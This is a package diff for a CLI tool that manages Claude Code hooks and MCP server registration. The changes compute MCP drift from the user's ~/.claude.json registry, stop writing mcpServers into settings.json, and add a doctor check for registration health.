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package/dist/cli/adopt/index.d.ts

@@ -11,6 +11,21 @@ export interface AdoptOptions {
      * exercised hermetically.
      */
     stdinIsTTY?: boolean;
+    /**
+     * Test seam (D-101/D-102, task 83d8d03a): explicit override for the
+     * Claude Code user-scope MCP registry file (~/.claude.json /
+     * $CLAUDE_CONFIG_DIR/.claude.json) `adopt` reads READ-ONLY to compute
+     * MCP drift. Takes precedence over `env`. Production callers leave this
+     * unset; the CLI never needs to pass it since the real registry always
+     * lives at the resolved default path.
+     */
+    registryPath?: string;
+    /**
+     * Override for process.env (CLAUDE_CONFIG_DIR lookup) used to resolve
+     * the default registry path when `registryPath` is not given. Defaults
+     * to `process.env`.
+     */
+    env?: NodeJS.ProcessEnv;
 }
 export interface AdoptResult {
     manifestPath: string;
@@ -31,5 +46,20 @@ export interface AdoptResult {
     replacedMcpNames: string[];
     /** Human-readable status: "no-drift" | "declined" | "applied". */
     outcome: "no-drift" | "declined" | "applied";
+    /**
+     * Names present in a legacy/dead top-level `mcpServers` block inside
+     * `settingsPath` (D-101, task 83d8d03a). Claude Code does not read this
+     * file for MCP registration at runtime (io/claude-mcp.ts:1-9) — this is
+     * surfaced purely as a cleanup hint, NEVER as a source of `mcpDrift`.
+     * Sorted; empty when `settingsPath` has no such block.
+     */
+    deadSettingsMcpNames: string[];
+    /**
+     * Set when the effective MCP registry file could not be read safely
+     * (malformed JSON, `mcpServers` not an object — an ENOENT/missing file
+     * is NOT an error and leaves this unset). MCP drift is computed against
+     * an empty registry projection in that case rather than guessing.
+     */
+    registryReadError?: string;
 }
 export declare function adopt(settingsPath: string, opts?: AdoptOptions): Promise<AdoptResult>;

package/dist/cli/adopt/index.js

@@ -10,7 +10,8 @@ import { formatValidationErrors, validateBeforeWrite, } from "../../io/validate-
 import { parseManifest } from "../../schema/index.js";
 import { applyAdd } from "../add/mutate.js";
 import { EX_FAIL, EX_NOINPUT, HarnessExitError } from "../exit-codes.js";
-import { computeDrift, computeMcpDrift, manifestMcpProjection, manifestProjection, parseSettingsHooks, parseSettingsMcpServers, synthesizeName, } from "./derive.js";
+import { readTopLevelMcpServers, resolveClaudeUserRegistryPath } from "../../io/claude-mcp.js";
+import { computeDrift, computeMcpDrift, manifestMcpProjection, manifestProjection, parseSettingsHooks, parseSettingsMcpServers, projectRegistryMcpServers, synthesizeName, } from "./derive.js";
 const DEFAULT_BASENAME = "harness.yaml";
 const LOCK_BASENAME = ".harness.lock";
 function resolveManifestPath(opts) {
@@ -50,9 +51,22 @@ export async function adopt(settingsPath, opts = {}) {
     }
     const settingsHooks = parseSettingsHooks(settingsRaw);
     const drift = computeDrift(settingsHooks, projection);
-    const settingsMcp = parseSettingsMcpServers(settingsRaw);
+    // D-101: MCP drift is ALWAYS computed against the effective Claude Code
+    // user-scope registry (read-only top-level `mcpServers` of
+    // ~/.claude.json / $CLAUDE_CONFIG_DIR/.claude.json), regardless of
+    // `settingsPath` — Claude Code does not consume settings.json's
+    // `mcpServers` block at runtime (io/claude-mcp.ts:1-9). `settingsPath`
+    // remains the source for hook adoption above. A dead `mcpServers` block
+    // in `settingsPath`, if present, is still surfaced (`deadSettingsMcpNames`)
+    // as a cleanup hint but never feeds `mcpDrift`.
+    const deadSettingsMcpNames = parseSettingsMcpServers(settingsRaw)
+        .map((m) => m.name)
+        .sort();
+    const registryPath = opts.registryPath ?? resolveClaudeUserRegistryPath({ env: opts.env });
+    const { servers: registryServers, error: registryReadError } = readTopLevelMcpServers(registryPath);
+    const registryMcp = projectRegistryMcpServers(registryServers);
     const mcpProjection = manifestMcpProjection(manifest);
-    const mcpDrift = computeMcpDrift(settingsMcp, mcpProjection);
+    const mcpDrift = computeMcpDrift(registryMcp, mcpProjection);
     if (drift.length === 0 && mcpDrift.length === 0) {
         return {
             manifestPath,
@@ -66,6 +80,8 @@ export async function adopt(settingsPath, opts = {}) {
             adoptedMcpNames: [],
             replacedMcpNames: [],
             outcome: "no-drift",
+            deadSettingsMcpNames,
+            ...(registryReadError !== null ? { registryReadError } : {}),
         };
     }
     const taken = new Set(manifest.hooks.map((h) => h.name));
@@ -135,6 +151,8 @@ export async function adopt(settingsPath, opts = {}) {
                 adoptedMcpNames,
                 replacedMcpNames,
                 outcome: "declined",
+                deadSettingsMcpNames,
+                ...(registryReadError !== null ? { registryReadError } : {}),
             };
         }
     }
@@ -191,6 +209,8 @@ export async function adopt(settingsPath, opts = {}) {
         adoptedMcpNames,
         replacedMcpNames,
         outcome: "applied",
+        deadSettingsMcpNames,
+        ...(registryReadError !== null ? { registryReadError } : {}),
     };
 }
 function buildMcpEntry(d, existing) {

package/dist/cli/adopt/index.js.map

@@ -1 +1 @@
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package/dist/cli/apply/generate-settings.d.ts

@@ -25,12 +25,25 @@ export interface SettingsPermissions {
 }
 export interface SettingsRoot {
     hooks: Record<string, SettingsHookGroup[]>;
-    mcpServers?: Record<string, SettingsMcpServer>;
     permissions?: SettingsPermissions;
 }
 export interface GenerateSettingsResult {
     root: SettingsRoot;
     warnings: string[];
+    /**
+     * The manifest's `tools.mcp[]` entries translated into Claude Code's
+     * server-spec shape (command/args/env), INCLUDING the grounding-mcp
+     * `EVIDENCE_LEDGER_DB` projection (`projectGroundingEnv`). Deliberately
+     * NOT part of `root` and never serialized into settings.json (task
+     * init-mcp-wiring-claude-code/T-002): Claude Code does not read the
+     * settings.json `mcpServers` block at runtime — see
+     * `src/io/claude-mcp.ts`'s module header. User-scope MCP registration
+     * goes exclusively through the `claude mcp` CLI now
+     * (`ensureMcpServers`); this field is what feeds that path. The init
+     * wizard (`src/cli/init/interactive.ts`) reads it directly instead of
+     * reading it back out of a written settings.json.
+     */
+    mcpServers: Record<string, SettingsMcpServer>;
 }
 export interface GenerateSettingsExtras {
     /**

package/dist/cli/apply/generate-settings.js

@@ -78,14 +78,18 @@ export function generateSettingsWithWarnings(manifest, extras = {}) {
         const hooks = byEvent.get(event) ?? [];
         out.hooks[event] = buildGroups(hooks);
     }
+    // buildMcpServers/projectGroundingEnv still run here (not moved) so the
+    // env-tilde and empty-command warnings stay attached to the same
+    // `warnings` array regardless of which path (settings.json hooks vs.
+    // the claude-mcp Ensure path) consumes the resulting spec map. The
+    // result is intentionally NOT projected into `out` — see
+    // GenerateSettingsResult.mcpServers.
     const mcp = buildMcpServers(manifest.tools.mcp, warnings);
     projectGroundingEnv(manifest, mcp, extras.homeDir);
-    if (Object.keys(mcp).length > 0)
-        out.mcpServers = mcp;
     const permissions = compactPermissions(extras.packPermissions);
     if (permissions)
         out.permissions = permissions;
-    return { root: out, warnings };
+    return { root: out, warnings, mcpServers: mcp };
 }
 function compactPermissions(p) {
     if (!p)

package/dist/cli/apply/generate-settings.js.map

@@ -1 +1 @@
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package/dist/cli/approve/stdin-report.js

@@ -92,9 +92,11 @@ export function persistStdinReport(args) {
         // carries sessionId (findLatestParseError skips logs it cannot
         // attribute to the approving session).
         const parseErrorDir = path.join(path.dirname(args.reportsDir), "parse-errors");
+        const malformedSections = result.error.malformedSections ?? [];
         const payload = `${JSON.stringify({
             reason: result.error.reason,
             missing: result.error.missing,
+            malformedSections,
             schemaErrors: result.error.schemaErrors,
             message: result.error.message,
             stamp,

package/dist/cli/approve/stdin-report.js.map

@@ -1 +1 @@
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package/dist/cli/doctor/claude-mcp.d.ts

@@ -0,0 +1,50 @@
+import type { Manifest } from "../../schema/index.js";
+import { type ClaudeMcpExec } from "../../io/claude-mcp.js";
+export interface ClaudeMcpEntryReport {
+    name: string;
+    status: "ok" | "warn" | "error";
+    message: string;
+}
+/**
+ * Claude Code MCP registration health. Present whenever `tools.mcp[]` is
+ * non-empty (see the module header for why the gate isn't further
+ * narrowed by runtime).
+ */
+export interface ClaudeMcpRegistrationSection {
+    /**
+     * Outcome of the underlying `claude mcp list` call. `"skipped"` means
+     * `--shallow` suppressed the live probe. When there are zero ENABLED
+     * `tools.mcp[]` servers, this is trivially `"ok"` with empty `entries`
+     * — nothing to look up, so no spawn happens either.
+     */
+    listStatus: "ok" | "cli-missing" | "timeout" | "error" | "skipped";
+    /** Present when listStatus !== "ok": why (CLI missing / timed out / spawn error / shallow skip). */
+    listMessage?: string;
+    /**
+     * Per-server registration status, populated only when `listStatus ===
+     * "ok"`. `"error"` entries roll into `errorCount`; `"warn"` entries
+     * roll into `warningCount` (see `countDiagnostics` in `index.ts`).
+     */
+    entries: ClaudeMcpEntryReport[];
+    /**
+     * harness-owned MCP server names still present in the dead
+     * `~/.claude/settings.json` `mcpServers` block (a leftover from the
+     * pre-T-002 write path that Claude Code never actually read).
+     */
+    deadSettingsBlockNames: string[];
+    /**
+     * Roll-up warnings (list unavailable for a reason other than "CLI not
+     * installed", dead settings.json block). Each rolls into
+     * `warningCount`, mirroring `GroundingSection.warnings` /
+     * `RiskGateSection.warnings`.
+     */
+    warnings: string[];
+}
+export interface BuildClaudeMcpRegistrationOptions {
+    /** Operator home dir, for locating `~/.claude/settings.json`. Same `home` doctor threads through the other checks. */
+    home: string;
+    shallow?: boolean;
+    /** Test-injection knob; production omits this and the real `claude` CLI is spawned. */
+    claudeMcpExec?: ClaudeMcpExec;
+}
+export declare function buildClaudeMcpRegistration(manifest: Manifest, opts: BuildClaudeMcpRegistrationOptions): Promise<ClaudeMcpRegistrationSection>;